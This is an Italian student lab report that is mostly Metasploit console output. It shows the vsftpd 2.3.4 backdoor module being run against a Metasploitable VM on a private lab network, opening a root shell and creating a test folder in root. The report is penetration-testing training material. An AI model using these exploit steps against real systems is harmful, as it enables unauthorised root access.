

Relazione S7L1

```
msf6 > search vsftpd

Matching Modules
=====
#  Name                                     Disclosure Date  Rank    Check  Description
--  -
0  auxiliary/dos/ftp/vsftpd_232             2011-02-03      normal  Yes    VSFTPD 2.3.2 Denial of Service
1  exploit/unix/ftp/vsftpd_234_backdoor      2011-07-03      excellent No     VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor

msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > info

Name: VSFTPD v2.3.4 Backdoor Command Execution
Module: exploit/unix/ftp/vsftpd_234_backdoor
Platform: Unix
Arch: cmd
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2011-07-03

Provided by:
hdm <x@hdm.io>
MC <mc@metasploit.com>

Available targets:
  Id  Name
  --  --
  => 0  Automatic

Check supported:
No

Basic options:
  Name  Current Setting  Required  Description
  ----  -
  RHOSTS  192.168.1.149  yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT  21              yes       The target port (TCP)

Payload information:
Space: 2000
Avoid: 0 characters

Description:
This module exploits a malicious backdoor that was added to the VSFTPD download archive. This backdoor was introduced into the vsftpd-2.3.4.tar.gz archive between June 30th 2011 and July 1st 2011 according to the most recent information available. This backdoor was removed on July 3rd 2011.
```

```
--- 192.168.1.18 ping statistics ---
7 packets transmitted, 0 received, +6 errors, 100% packet loss, time 6004ms
pipe 3
nsfadmin@metasploitable:~$ ls /
bin  dev  initrd  lost+found  nohup.out  root  sys  usr
boot  etc  initrd.img  media  opt  sbin  test_metasploit  var
cdrom  home  lib  mnt  proc  srv  tmp  vnlinuz

nsfadmin@metasploitable:~$

rhosts => 192.168.1.149
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 192.168.1.149:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.1.149:21 - USER: 331 Please specify the password.
[*] 192.168.1.149:21 - Backdoor service has been spawned, handling...
[*] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.19:37565 -> 192.168.1.149:6200) at 2023-11-06 14:45:54 +0100

ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
tmp
usr
var
vnlinuz
mkdir test_metasploit
```

Come è possibile vedere da questi screenshots abbiamo utilizzato metasploit per utilizzare un exploit di vsftpd.

Questo servizio è un server FTP open source leggero e veloce ideale per le piccole e medie imprese. Una volta effettuato l'accesso si può vedere come siamo stati in grado di creare una cartella all'interno di root.

Davide Lecci